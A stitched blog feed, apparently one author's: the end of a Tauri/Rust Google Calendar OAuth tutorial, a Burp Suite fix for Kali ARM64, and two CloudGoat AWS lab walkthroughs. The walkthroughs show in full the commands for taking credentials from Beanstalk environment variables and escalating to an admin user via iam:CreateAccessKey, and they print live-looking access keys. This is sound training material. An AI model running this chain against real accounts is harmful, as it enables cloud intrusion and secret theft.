The get_valid_access_token function is clever:

Checks if token expires in next 5 minutes
If expiring soon → Refreshes automatically
Saves new token to database
Returns valid token

This means other parts of the app can just call this function and always get a working token. No need to handle expiry everywhere.

Step 7: Tauri Commands (Frontend Bridge)

Expose Rust functions to JavaScript:

// src/commands/calendar_commands.rs
use tauri::State;
use crate::db;
use crate::services::calendar_service;
use crate::structs::calendar::CalendarCredentials;

#[tauri::command]
pub async fn start_calendar_auth(db: State<'_, db::Database>) -> Result<CalendarCredentials, String> {
    calendar_service::start_oauth_flow(&db).await
}

#[tauri::command]
pub fn get_calendar_status(db: State<'_, db::Database>) -> Result<Option<CalendarCredentials>, String> {
    calendar_service::get_credentials(&db)
}

#[tauri::command]
pub fn disconnect_calendar(db: State<'_, db::Database>) -> Result<(), String> {
    calendar_service::disconnect_calendar(&db)
}

These commands are thin wrappers - they just bridge JavaScript to Rust. All the real logic is in the service layer.

Don't forget to register them in main.rs:

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![
            start_calendar_auth,
            get_calendar_status,
            disconnect_calendar,
        ])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}

Step 8: Frontend Integration (React/TypeScript)

Finally, the UI layer:

// In your Tauri commands wrapper
import { invoke } from '@tauri-apps/api/core';

export const tauriCommands = {
  startCalendarAuth: async (): Promise<CalendarCredentials> => {
    return await invoke<CalendarCredentials>('start_calendar_auth');
  },

  getCalendarStatus: async (): Promise<CalendarCredentials | null> => {
    return await invoke<CalendarCredentials | null>('get_calendar_status');
  },

  disconnectCalendar: async (): Promise<void> => {
    await invoke('disconnect_calendar');
  },
};

And in your React component:

// src/pages/SettingsPage.tsx
const [settings, setSettings] = useState<Settings | null>(null);
const [connecting, setConnecting] = useState(false);

const startCalendarConnection = async () => {
  setConnecting(true);
  try {
    const credentials = await tauriCommands.startCalendarAuth();
    console.log('Calendar connected:', credentials);

    // Refresh settings to show connected status
    const updatedSettings = await tauriCommands.getSettings();
    setSettings(updatedSettings);
  } catch (error) {
    console.error('Failed to start calendar auth:', error);
  } finally {
    setConnecting(false);
  }
};

const disconnectCalendar = async () => {
  try {
    await tauriCommands.disconnectCalendar();
    const updatedSettings = await tauriCommands.getSettings();
    setSettings(updatedSettings);
  } catch (error) {
    console.error('Failed to disconnect calendar:', error);
  }
};

// In your JSX:
{settings.calendarIntegrationEnabled ? (
  <div>
    <Label>Connected: {settings.calendarEmail}</Label>
    <Button onClick={disconnectCalendar}>Disconnect</Button>
  </div>
) : (
  <Button onClick={startCalendarConnection} disabled={connecting}>
    {connecting ? 'Connecting...' : 'Connect Calendar'}
  </Button>
)}

User experience:

User clicks "Connect Calendar"
Browser opens to Google (automatic)
User authorizes
Success page shows in browser
User closes browser tab
App shows "Connected: user@gmail.com"

Total time: ~10 seconds.

Step 9: OAuth Callback HTML Pages

When OAuth completes, the user needs feedback. I created three HTML pages that display in the browser:

Success Page (src/oauth_pages/success.html) - Shows when authorization succeeds:

<!DOCTYPE html>
<html>
<head>
    <title>Authorization Successful</title>
    <style>
        body { font-family: -apple-system, BlinkMacSystemFont, sans-serif;
               display: flex; justify-content: center; align-items: center;
               min-height: 100vh; background: hsl(40, 20%, 98%); }
        .container { background: white; padding: 48px; border-radius: 16px;
                     box-shadow: 0 4px 20px rgba(0,0,0,0.08); text-align: center; }
        .icon { width: 64px; height: 64px; margin: 0 auto 24px;
                background: hsl(175, 40%, 94%); border-radius: 50%; }
    </style>
</head>
<body>
    <div class="container">
        <div class="icon">✓</div>
        <h1>Authorization Successful!</h1>
        <p>Your Google Calendar has been connected to MyHandler.</p>
        <p>You can now close this window.</p>
    </div>
</body>
</html>

Error Page (src/oauth_pages/error.html) - Shows when something goes wrong:

<!DOCTYPE html>
<html>
<head>
    <title>Authorization Failed</title>
    <style>
        .icon { background: hsl(0, 70%, 95%); color: hsl(0, 72%, 58%); }
    </style>
</head>
<body>
    <div class="container">
        <div class="icon">✗</div>
        <h1>Authorization Failed</h1>
        <p>{{ERROR_MESSAGE}}</p>
        <p>Please close this window and try again.</p>
    </div>
</body>
</html>

Security Error Page (src/oauth_pages/security_error.html) - CSRF protection triggered:

<!DOCTYPE html>
<html>
<head>
    <title>Security Error</title>
    <style>
        .icon { background: hsl(40, 70%, 95%); color: hsl(40, 90%, 50%); }
    </style>
</head>
<body>
    <div class="container">
        <div class="icon">⚠</div>
        <h1>Security Error</h1>
        <p>Invalid state parameter. This could be a CSRF attack.</p>
        <p>For your security, authorization stopped.</p>
    </div>
</body>
</html>

Embed them at compile time:

In google_oauth.rs:

const SUCCESS_HTML: &str = include_str!("../oauth_pages/success.html");
const ERROR_HTML: &str = include_str!("../oauth_pages/error.html");
const SECURITY_ERROR_HTML: &str = include_str!("../oauth_pages/security_error.html");

This embeds the HTML directly in the binary - no external files needed!

Step 10: Google Cloud Console Setup

Here's the complete setup process:

1. Create Google Cloud Project

Go to console.cloud.google.com
Click "New Project"
Name it (e.g., "MyHandler")
Click "Create"

2. Enable Google Calendar API

In your project, go to "APIs & Services" → "Library"
Search for "Google Calendar API"
Click "Enable"

3. Create OAuth Credentials

Go to "APIs & Services" → "Credentials"
Click "Create Credentials" → "OAuth 2.0 Client ID"
Choose "Desktop app" (NOT "Web application" - this is critical!)
Give it a name: "MyHandler Desktop Client"
Click "Create"
Copy the Client ID and Client Secret - you'll need these

4. Configure OAuth Consent Screen

Go to "APIs & Services" → "OAuth consent screen"
Choose "External" (unless you have Google Workspace)
Fill in:
- App name: "MyHandler"
- User support email: your email
- App logo: (optional)
- App domain: your website (optional during development)
- Developer contact: your email

5. Add Scopes

Click "Add or Remove Scopes"
Add:
- https://www.googleapis.com/auth/calendar.events (Read/write events)
- https://www.googleapis.com/auth/userinfo.email (Get user email)
Click "Update"

6. Add Test Users (Development Mode)

Your app starts in "Testing" mode
Add your email as a test user
Once ready for public use, click "Publish App"

Key Insight: Desktop apps don't need to configure redirect URIs. Google automatically allows all localhost URLs for "Desktop app" credentials. This is different from web applications where you must whitelist specific URLs.

Security Considerations

CSRF Protection:

Random 32-character state parameter prevents authorization interception
Validated on every callback
Used once and discarded

Token Security:

Access tokens: 1-hour expiry (short-lived)
Refresh tokens: Long-lived (revocable by user)
Stored in local SQLite database
Consider encrypting the database for extra security

Network Security:

All Google API calls use HTTPS
30-second timeouts prevent hanging
Local server binds only to 127.0.0.1 (not accessible from network)

Database Schema

Simple single-user table:

CREATE TABLE calendar_credentials (
    id INTEGER PRIMARY KEY CHECK (id = 1),  -- Only one user
    email VARCHAR(255) NOT NULL,
    access_token TEXT NOT NULL,
    refresh_token TEXT NOT NULL,
    token_expiry DATETIME NOT NULL,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
    updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

The CHECK (id = 1) constraint ensures only one row exists. This is a single-user desktop app, so I don't need to handle multiple accounts (yet).

And the corresponding Rust struct:

#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct CalendarCredentials {
    pub email: String,
    pub access_token: String,
    pub refresh_token: String,
    pub token_expiry: DateTime<Utc>,
}

Simple, clean, and maps directly to the database columns. The token_expiry uses chrono::DateTime<Utc> for proper timezone handling.

The User Experience

From the user's perspective:

Click "Connect Calendar" button
Browser opens to Google
Sign in (if needed) and click "Allow"
See a nice success page
Close browser tab
Back in the app, their email shows as connected

The whole thing takes like 10 seconds. No codes to copy, no polling, no waiting. Just works.

Dependencies

The key crates that made this possible:

tiny_http = "0.12"      # Lightweight HTTP server
webbrowser = "1.0"      # Opens browser cross-platform  
reqwest = "0.11"        # HTTP client for API calls
serde = "1.0"           # JSON serialization
rand = "0.8"            # Random state generation
urlencoding = "2.1"     # URL encoding/decoding

tiny_http is particularly nice - it's a simple, synchronous HTTP server.

Conclusion

Why This Approach Works

Fast: User clicks → browser opens → authorize → done. ~10 seconds total.

Secure: CSRF protection, HTTPS, token refresh, single-user database constraint.

Reliable: No polling, no manual code copying, no timeouts (well, 5-minute timeout but that's plenty).

Cross-Platform: Works on macOS, Windows, Linux thanks to webbrowser crate.

Maintainable: Clean layered architecture (commands → services → oauth → db).

Frontend (React/TypeScript)
    ↓ (Tauri commands)
Command Layer (calendar_commands.rs)
    ↓
Service Layer (calendar_service.rs)
    ↓
OAuth Layer (google_oauth.rs) ←→ Google APIs
    ↓
Database Layer (db/mod.rs)
    ↓
SQLite (credentials + events)

Each layer has a single responsibility. Changes in one layer rarely affect others. Testing is straightforward.

[Fix] Burp Suite crashing on Kali ARM64 (Apple Silicon / QEMU)

Yar Khan — Fri, 10 Oct 2025 23:00:21 +0000

If Burp Suite instantly crashes on your Kali ARM64 VM with a SIGILL (illegal instruction) error, here’s the fix:

The default OpenJDK 21 from Kali uses newer ARM instructions your emulated CPU doesn’t support under QEMU.

Just switch to a portable Temurin 21 JRE:

From thie official temurin GitHub repository download the version according to your suitable architecture. Like in my case the my kali architecture is ARM64.

OpenJDK21U-jre_aarch64_linux_hotspot_21.0.7_6.tar.gz

Move the file to /tmp folder. Then these commands:

sudo mkdir -p /opt/temurin21

sudo tar -xzf OpenJDK21U-jre_aarch64_linux_hotspot_21.0.7_6.tar.gz -C /opt/temurin21 --strip-components=1

Test it:

/opt/temurin21/bin/java -version

JAVA_CMD=/opt/temurin21/bin/java /usr/bin/burpsuite

Make Temurin the default java (affects all apps)

sudo update-alternatives --install /usr/bin/java java /opt/temurin21/bin/java 1100 sudo update-alternatives --set java /opt/temurin21/bin/java

java -version

Tested on Apple Silicon (UTM + QEMU)

It was bothering me so much when I switched to Mac. At first, I tried to fix the problem for days but eventually got exhausted, so I started using an alternative, Caido. After many months, I decided to try Burp Suite again to learn its features — and this time, I finally succeeded in installing it correctly.

SNS Secret Walkthrough

Yar Khan — Sun, 06 Jul 2025 14:22:22 +0000

SNS Secrets

sns_user_access_key_id = AKIAZI2LCSHNJOCUCLVC
sns_user_secret_access_key = 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

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws sts get-caller-identity --profile pw
{
"UserId": "AIDAZI2LCSHNDOON5AYNB",
"Account": "637423227354",
"Arn": "arn:aws:iam::637423227354:user/cg-sns-user-cgidrsy0favpsp"
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws sns list-topics --profile pw        
{
    "Topics": [
        {
            "TopicArn": "arn:aws:sns:us-east-1:637423227354:public-topic-cgidrsy0favpsp"
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws sns subscribe \
  --topic-arn arn:aws:sns:us-east-1:637423227354:public-topic-cgidrsy0favpsp \
  --protocol email \
  --notification-endpoint yarkhan025@gmail.com \
  --profile pw

{
    "SubscriptionArn": "pending confirmation"
}

confirmed through the mail (might be in spams)

received this mail after confirming

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws apigateway get-rest-apis --profile pw
{
    "items": [
        {
            "id": "3mr2ebz0ak",
            "name": "cg-api-cgidrsy0favpsp",
            "description": "API for demonstrating leaked API key scenario",
            "createdDate": "2025-07-06T18:36:09+05:00",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "EDGE"
                ],
                "ipAddressType": "ipv4"
            },
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "disableExecuteApiEndpoint": false,
            "rootResourceId": "rj90ky2wv8"
        }
    ]
}


┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws apigateway get-stages \
  --rest-api-id 3mr2ebz0ak \
  --profile pw
{
    "item": [
        {
            "deploymentId": "x3k470",
            "stageName": "prod-cgidrsy0favpsp",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "createdDate": "2025-07-06T18:36:13+05:00",
            "lastUpdatedDate": "2025-07-06T18:36:13+05:00"
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws apigateway get-usage-plans --profile pw
{
    "items": [
        {
            "id": "0qtwst",
            "name": "cg-usage-plan-cgidrsy0favpsp",
            "apiStages": [
                {
                    "apiId": "3mr2ebz0ak",
                    "stage": "prod-cgidrsy0favpsp"
                }
            ],
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            }
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/sns_secrets]
└─# aws apigateway get-resources \
  --rest-api-id 3mr2ebz0ak \
  --profile pw
{
    "items": [
        {
            "id": "4br17j",
            "parentId": "rj90ky2wv8",
            "pathPart": "user-data",
            "path": "/user-data",
            "resourceMethods": {
                "GET": {}
            }
        },
        {
            "id": "rj90ky2wv8",
            "path": "/"
        }
    ]
}

curl https://3mr2ebz0ak.execute-api.us-east-1.amazonaws.com/prod-cgidrsy0favpsp/user-data -H 'x-api-key: 45a3da610dc
64703b10e273a4db135bf' {"final_flag": "FLAG{SNS_S3r3ts_ar3_FUN}", "message" : "Access granted"
, "user_data" : {"email": "SuperAdmin@notarealemail.co
m", "password": "p@sswOrd123", "user_id": "1337", "username" : "SuperAdmin"}}

Cloudgoat BeanstalkSecrets Walkthrough

Yar Khan — Sun, 06 Jul 2025 12:38:22 +0000

Beanstalk Secrets

Automatically whitelists your IP to allow access to the vulnerable CloudGoat scenario.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# cloudgoat config whitelist --auto

initial_low_priv_credentials = Access Key: AKIAZI2LCSHNOWPG26FR
Secret Key: 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

Confirms current AWS identity (low-priv user: cgidrddh9uxljn_low_priv_user).

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws sts get-caller-identity --profile pw
{
    "UserId": "AIDAZI2LCSHNL62NPKJBK",
    "Account": "637423227354",
    "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_low_priv_user"
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws help

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk help

Retrieves environment ID and endpoint URL for the active Beanstalk application.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk describe-environments --profile pw
{
{
    "Environments": [
        {
            "EnvironmentName": "cgidrddh9uxljn-env",
            "EnvironmentId": "e-nphm6qpyc2",
            "ApplicationName": "cgidrddh9uxljn-app",
            "SolutionStackName": "64bit Amazon Linux 2023 v4.6.0 running Python 3.11",
            "PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.11 running on 64bit Amazon Linux 2023/4.6.0",
            "EndpointURL": "awseb-e-n-AWSEBLoa-114Z7VERU1JC9-508425660.us-east-1.elb.amazonaws.com",
            "CNAME": "cgidrddh9uxljn-env.eba-ypbpr8em.us-east-1.elasticbeanstalk.com",
            "DateCreated": "2025-07-06T07:58:12.268000+00:00",
            "DateUpdated": "2025-07-06T08:01:26.202000+00:00",
            "Status": "Ready",
            "AbortableOperationInProgress": false,
            "Health": "Grey",
            "HealthStatus": "Pending",
            "Tier": {
                "Name": "WebServer",
                "Type": "Standard",
                "Version": "1.0"
            },
            "EnvironmentLinks": [],
            "EnvironmentArn": "arn:aws:elasticbeanstalk:us-east-1:637423227354:environment/cgidrddh9uxljn-app/cgidrddh9uxljn-env"
        }
    ]
}

Retrieves the name and metadata of the Beanstalk application.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk describe-applications --profile pw
{
    "Applications": [
        {
            "ApplicationArn": "arn:aws:elasticbeanstalk:us-east-1:637423227354:application/cgidrddh9uxljn-app",
            "ApplicationName": "cgidrddh9uxljn-app",
            "Description": "Elastic Beanstalk application for insecure secrets scenario",
            "DateCreated": "2025-07-06T07:57:55.841000+00:00",
            "DateUpdated": "2025-07-06T07:57:55.841000+00:00",
            "ConfigurationTemplates": [],
            "ResourceLifecycleConfig": {
                "VersionLifecycleConfig": {
                    "MaxCountRule": {
                        "Enabled": false,
                        "MaxCount": 200,
                        "DeleteSourceFromS3": false
                    },
                    "MaxAgeRule": {
                        "Enabled": false,
                        "MaxAgeInDays": 180,
                        "DeleteSourceFromS3": false
                    }
                }
            }
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk describe-application-versions --application-name cgidrddh9uxljn-app --version-label "v1" --profile pw
{
    "ApplicationVersions": []
}

Leaks environment variables including exposed AWS credentials for a higher-privileged user.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws elasticbeanstalk describe-configuration-settings --environment-name cgidrddh9uxljn-env --application-name cgidrddh9uxljn-app --profile pw | jq '.ConfigurationSettings[0].OptionSettings[] | select(.Namespace=="aws:elasticbeanstalk:application:environment")'
{
  "Namespace": "aws:elasticbeanstalk:application:environment",
  "OptionName": "PYTHONPATH",
  "Value": "/var/app/venv/staging-LQM1lest/bin"
}
{
  "Namespace": "aws:elasticbeanstalk:application:environment",
  "OptionName": "SECONDARY_ACCESS_KEY",
  "Value": "AKIAZI2LCSHND4ONUGEM"
}
{
  "Namespace": "aws:elasticbeanstalk:application:environment",
  "OptionName": "SECONDARY_SECRET_KEY",
  "Value": "pSGrnRE8rRMWqoKWdeB0OHd/BPL+0T+eC8zwQlWJ"
}

now using these credentials enumerate IAM permissions to eventually create an access key for an administrator user

Personal Script

use my own script to do the IAM enumeration

{
  "current_user": "cgidrddh9uxljn_secondary_user",
  "users": [
    "cgidrddh9uxljn_secondary_user"
  ],
  "managed_policies": {
    "cgidrddh9uxljn_secondary_user": [
      {
        "PolicyName": "cgidrddh9uxljn_secondary_policy",
        "PolicyArn": "arn:aws:iam::637423227354:policy/cgidrddh9uxljn_secondary_policy"
      }
    ]
  },
  "inline_policies": {
    "cgidrddh9uxljn_secondary_user": []
  },
  "groups_managed_policies": {
    "Admin": []
  },
  "groups_inline_policies": {
    "Admin": []
  },
  "users_groups": {},
  "roles": {
    "cg-lambda-invoker-vulnerable_lambda_cgid1ncsj7bxah": {
      "RoleId": "AROAZI2LCSHNHAYBZ7NB6",
      "Arn": "arn:aws:iam::637423227354:role/cg-lambda-invoker-vulnerable_lambda_cgid1ncsj7bxah",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
              "AWS": "AIDAZI2LCSHNC6T5WHMCJ"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    },
    "cgidrddh9uxljn_eb_instance_role": {
      "RoleId": "AROAZI2LCSHNFI4A4BNZE",
      "Arn": "arn:aws:iam::637423227354:role/cgidrddh9uxljn_eb_instance_role",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Effect": "Allow",
            "Principal": {
              "Service": "ec2.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    },
    "cgidrddh9uxljn_eb_service_role": {
      "RoleId": "AROAZI2LCSHNKBOPAXYCP",
      "Arn": "arn:aws:iam::637423227354:role/cgidrddh9uxljn_eb_service_role",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Effect": "Allow",
            "Principal": {
              "Service": "elasticbeanstalk.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    },
    "rds-monitoring-role": {
      "RoleId": "AROAZI2LCSHNCK26BPXQW",
      "Arn": "arn:aws:iam::637423227354:role/rds-monitoring-role",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
              "Service": "monitoring.rds.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    },
    "vulnerable_lambda_cgid1ncsj7bxah-policy_applier_lambda1": {
      "RoleId": "AROAZI2LCSHNEK7B2PR7Y",
      "Arn": "arn:aws:iam::637423227354:role/vulnerable_lambda_cgid1ncsj7bxah-policy_applier_lambda1",
      "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
          {
            "Sid": "",
            "Effect": "Allow",
            "Principal": {
              "Service": "lambda.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
          }
        ]
      }
    }
  },
  "attached_role_policies": {
    "cg-lambda-invoker-vulnerable_lambda_cgid1ncsj7bxah": [],
    "cgidrddh9uxljn_eb_instance_role": [],
    "cgidrddh9uxljn_eb_service_role": [],
    "rds-monitoring-role": [
      "arn:aws:iam::aws:policy/service-role/AmazonRDSEnhancedMonitoringRole"
    ],
    "vulnerable_lambda_cgid1ncsj7bxah-policy_applier_lambda1": []
  },
  "inline_role_policies": {
    "cg-lambda-invoker-vulnerable_lambda_cgid1ncsj7bxah": {},
    "cgidrddh9uxljn_eb_instance_role": {},
    "cgidrddh9uxljn_eb_service_role": {},
    "rds-monitoring-role": {},
    "vulnerable_lambda_cgid1ncsj7bxah-policy_applier_lambda1": {}
  }
}

Managed Policy Versions

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws iam get-policy \                    
  --policy-arn arn:aws:iam::637423227354:policy/cgidrddh9uxljn_secondary_policy \
  --profile pw         
{
    "Policy": {
        "PolicyName": "cgidrddh9uxljn_secondary_policy",
        "PolicyId": "ANPAZI2LCSHNNTIDMXKIF",
        "Arn": "arn:aws:iam::637423227354:policy/cgidrddh9uxljn_secondary_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2025-07-06T07:57:54+00:00",
        "UpdateDate": "2025-07-06T07:57:54+00:00",
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "beanstalk_secrets"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws iam get-policy-version --policy-arn arn:aws:iam::637423227354:policy/cgidrddh9uxljn_secondary_policy --version-id v1 --profile pw 
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:CreateAccessKey"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:ListRoles",
                        "iam:GetRole",
                        "iam:ListPolicies",
                        "iam:GetPolicy",
                        "iam:ListPolicyVersions",
                        "iam:GetPolicyVersion",
                        "iam:ListUsers",
                        "iam:GetUser",
                        "iam:ListGroups",
                        "iam:GetGroup",
                        "iam:ListAttachedUserPolicies",
                        "iam:ListAttachedRolePolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-07-06T07:57:54+00:00"
    }
}

Since you already have permissions like iam:CreateAccessKey and have discovered the user cgidrddh9uxljn_admin_user, you can create new credentials (Access Key + Secret) for that user and gain access as them — even without knowing their existing credentials.

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws iam list-users --profile pw                                                  
{
    "Users": [
        {
            "Path": "/",
            "UserName": "cgidrddh9uxljn_admin_user",
            "UserId": "AIDAZI2LCSHNDLS76Y2GZ",
            "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_admin_user",
            "CreateDate": "2025-07-06T07:57:54+00:00"
        },
        {
            "Path": "/",
            "UserName": "cgidrddh9uxljn_low_priv_user",
            "UserId": "AIDAZI2LCSHNL62NPKJBK",
            "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_low_priv_user",
            "CreateDate": "2025-07-06T07:57:54+00:00"
        },
        {
            "Path": "/",
            "UserName": "cgidrddh9uxljn_secondary_user",
            "UserId": "AIDAZI2LCSHNPBONLSC4A",
            "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_secondary_user",
            "CreateDate": "2025-07-06T07:57:54+00:00"
        }
    ]
}

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws iam create-access-key \
  --user-name cgidrddh9uxljn_admin_user \
  --profile pw

{
    "AccessKey": {
        "UserName": "cgidrddh9uxljn_admin_user",
        "AccessKeyId": "AKIAZI2LCSHNFA6ZBTTK",
        "Status": "Active",
        "SecretAccessKey": "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",
        "CreateDate": "2025-07-06T08:46:39+00:00"
    }
}

now use these credentials to configure

                                                                                 ┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws sts get-caller-identity --profile pw
{
    "UserId": "AIDAZI2LCSHNDLS76Y2GZ",
    "Account": "637423227354",
    "Arn": "arn:aws:iam::637423227354:user/cgidrddh9uxljn_admin_user"
}

with these privileges we will retrieve flag stored in secrets manager

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws secretsmanager list-secrets --profile pw
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:637423227354:secret:cgidrddh9uxljn_final_flag-KSYyXA",
            "Name": "cgidrddh9uxljn_final_flag",
            "LastChangedDate": "2025-07-06T12:57:55.311000+05:00",
            "LastAccessedDate": "2025-07-06T05:00:00+05:00",
            "Tags": [
                {
                    "Key": "Scenario",
                    "Value": "beanstalk_secrets"
                },
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                }
            ],
            "SecretVersionsToStages": {
                "terraform-20250706075755171300000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-07-06T12:57:54.304000+05:00"
        }
    ]
}

Found The Flag

┌──(root㉿yarkhan)-[/home/yarkhan/Documents/cloudgoat/beanstalk_secrets]
└─# aws secretsmanager get-secret-value \
  --secret-id cgidrddh9uxljn_final_flag \
  --profile pw
{
    "ARN": "arn:aws:secretsmanager:us-east-1:637423227354:secret:cgidrddh9uxljn_final_flag-KSYyXA",
    "Name": "cgidrddh9uxljn_final_flag",
    "VersionId": "terraform-20250706075755171300000002",
    "SecretString": "FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-07-06T12:57:55.307000+05:00"
}